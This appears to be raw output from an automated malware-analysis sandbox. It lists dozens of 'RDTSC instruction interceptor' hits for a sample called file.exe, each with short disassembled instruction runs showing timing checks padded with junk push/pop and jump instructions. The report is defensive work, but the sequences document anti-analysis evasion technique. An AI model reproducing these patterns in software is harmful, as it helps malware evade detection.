Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1135607 second address: 1135613 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1135613 second address: 1135617 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11369CC second address: 11369E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9D106F765Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11369E0 second address: 11369E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113DA83 second address: 113DA87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114024E second address: 114026F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F9D1073AE66h 0x00000009 jmp 00007F9D1073AE76h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11508A1 second address: 11508B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9D106F765Bh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1150200 second address: 1150223 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnc 00007F9D1073AE66h 0x00000009 jmp 00007F9D1073AE76h 0x0000000e pop ebx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1150223 second address: 1150254 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jno 00007F9D106F7656h 0x00000014 jmp 00007F9D106F7669h 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1150254 second address: 115025C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115025C second address: 1150261 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1150261 second address: 115026D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F9D1073AE66h 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11503D8 second address: 11503DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11503DC second address: 11503F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F9D1073AE72h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11503F4 second address: 11503F9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11503F9 second address: 1150448 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop ecx 0x00000007 pushad 0x00000008 jmp 00007F9D1073AE70h 0x0000000d je 00007F9D1073AE66h 0x00000013 jmp 00007F9D1073AE72h 0x00000018 jmp 00007F9D1073AE73h 0x0000001d popad 0x0000001e pop edx 0x0000001f pop eax 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 jc 00007F9D1073AE66h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1150448 second address: 115044C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115044C second address: 1150452 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11527EC second address: 115280E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F9D106F7669h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115280E second address: 1152831 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 pushad 0x00000007 jmp 00007F9D1073AE6Eh 0x0000000c jmp 00007F9D1073AE6Ah 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1152831 second address: 1152837 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1156E7F second address: 1156E9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9D1073AE73h 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1162576 second address: 116257D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10815B4 second address: 1081603 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D1073AE6Dh 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jo 00007F9D1073AE6Eh 0x00000011 pushad 0x00000012 popad 0x00000013 jp 00007F9D1073AE66h 0x00000019 jmp 00007F9D1073AE72h 0x0000001e pushad 0x0000001f jmp 00007F9D1073AE79h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1081603 second address: 1081609 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1081609 second address: 108160F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116696D second address: 1166987 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9D106F7666h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166C84 second address: 1166C88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166C88 second address: 1166C94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a popad 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166C94 second address: 1166CA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9D1073AE6Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166CA2 second address: 1166CA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166CA6 second address: 1166CB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnc 00007F9D1073AE66h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166CB6 second address: 1166CCD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jne 00007F9D106F7662h 0x0000000f jnp 00007F9D106F7656h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166CCD second address: 1166CD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166CD5 second address: 1166CDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166E25 second address: 1166E36 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D1073AE6Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166E36 second address: 1166E3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166E3C second address: 1166E40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166E40 second address: 1166E63 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F9D106F7667h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116727E second address: 1167291 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D1073AE6Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116C68E second address: 116C6F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jmp 00007F9D106F7665h 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e pop eax 0x0000000f jmp 00007F9D106F7662h 0x00000014 popad 0x00000015 popad 0x00000016 push edi 0x00000017 jmp 00007F9D106F7664h 0x0000001c push edx 0x0000001d jmp 00007F9D106F7668h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116C20E second address: 116C21A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F9D1073AE66h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118A552 second address: 118A556 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D4AE second address: 118D4B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D4B2 second address: 118D4CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9D106F7664h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D4CC second address: 118D4DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007F9D1073AE6Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D4DF second address: 118D4E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D164 second address: 118D16A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D16A second address: 118D177 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007F9D106F7656h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D177 second address: 118D193 instructions: 0x00000000 rdtsc 0x00000002 js 00007F9D1073AE66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b jmp 00007F9D1073AE6Bh 0x00000010 pushad 0x00000011 popad 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118F783 second address: 118F78A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118F78A second address: 118F7C4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edx 0x00000006 jmp 00007F9D1073AE77h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push edi 0x00000011 pop edi 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 jmp 00007F9D1073AE6Fh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A8089 second address: 11A808D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A808D second address: 11A8095 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A837A second address: 11A837E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A837E second address: 11A83A7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b pop eax 0x0000000c jmp 00007F9D1073AE79h 0x00000011 popad 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A8948 second address: 11A894C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A894C second address: 11A897B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push edi 0x0000000c pop edi 0x0000000d jmp 00007F9D1073AE6Ch 0x00000012 popad 0x00000013 push ebx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 pop ebx 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F9D1073AE6Bh 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A897B second address: 11A8981 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A8981 second address: 11A8986 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A8986 second address: 11A898B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A898B second address: 11A899F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F9D1073AE6Bh 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ACE0F second address: 11ACE26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F9D106F765Eh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AD16A second address: 11AD174 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F9D1073AE66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AD174 second address: 11AD1A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F9D106F765Eh 0x00000011 jmp 00007F9D106F7665h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AD1A4 second address: 11AD1F8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov dword ptr [ebp+122D279Eh], edx 0x0000000f sub edx, dword ptr [ebp+124954ECh] 0x00000015 push 00000004h 0x00000017 je 00007F9D1073AE69h 0x0000001d movsx edx, ax 0x00000020 jnp 00007F9D1073AE7Fh 0x00000026 push 8686235Dh 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F9D1073AE6Dh 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AD3EB second address: 11AD422 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D106F7669h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F9D106F7663h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AD422 second address: 11AD440 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D1073AE75h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AD440 second address: 11AD45E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 jmp 00007F9D106F765Dh 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AE5A0 second address: 11AE5AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D1073AE6Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AE5AE second address: 11AE5B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AE5B4 second address: 11AE5C1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AE5C1 second address: 11AE5DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D106F765Eh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AFE03 second address: 11AFE0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AFE0D second address: 11AFE11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B1CFB second address: 11B1D08 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9D1073AE68h 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B002FB second address: 4B0036F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F9D106F7667h 0x00000009 adc cx, 171Eh 0x0000000e jmp 00007F9D106F7669h 0x00000013 popfd 0x00000014 movzx ecx, bx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F9D106F7665h 0x00000024 and cx, 0806h 0x00000029 jmp 00007F9D106F7661h 0x0000002e popfd 0x0000002f pushad 0x00000030 popad 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0188 second address: 4AF019D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D1073AE71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF019D second address: 4AF01A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF01A3 second address: 4AF01A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF01A7 second address: 4AF021B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b pushfd 0x0000000c jmp 00007F9D106F7661h 0x00000011 add cx, 0B46h 0x00000016 jmp 00007F9D106F7661h 0x0000001b popfd 0x0000001c pop esi 0x0000001d call 00007F9D106F7661h 0x00000022 pushfd 0x00000023 jmp 00007F9D106F7660h 0x00000028 sbb esi, 1673FB18h 0x0000002e jmp 00007F9D106F765Bh 0x00000033 popfd 0x00000034 pop esi 0x00000035 popad 0x00000036 mov dword ptr [esp], ebp 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF021B second address: 4AF021F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF021F second address: 4AF022F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D106F765Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF022F second address: 4AF0235 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0235 second address: 4AF0239 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30102 second address: 4B30106 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30106 second address: 4B3010C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC00F2 second address: 4AC00F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC00F6 second address: 4AC010B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F9D106F765Bh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC010B second address: 4AC0171 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D1073AE79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov cx, CC6Fh 0x0000000f popad 0x00000010 mov ebp, esp 0x00000012 jmp 00007F9D1073AE72h 0x00000017 push dword ptr [ebp+04h] 0x0000001a pushad 0x0000001b push esi 0x0000001c pushad 0x0000001d popad 0x0000001e pop edx 0x0000001f pushad 0x00000020 movzx eax, dx 0x00000023 mov bh, E7h 0x00000025 popad 0x00000026 popad 0x00000027 push dword ptr [ebp+0Ch] 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F9D1073AE79h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0E50 second address: 4AE0E55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0936 second address: 4AE093A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
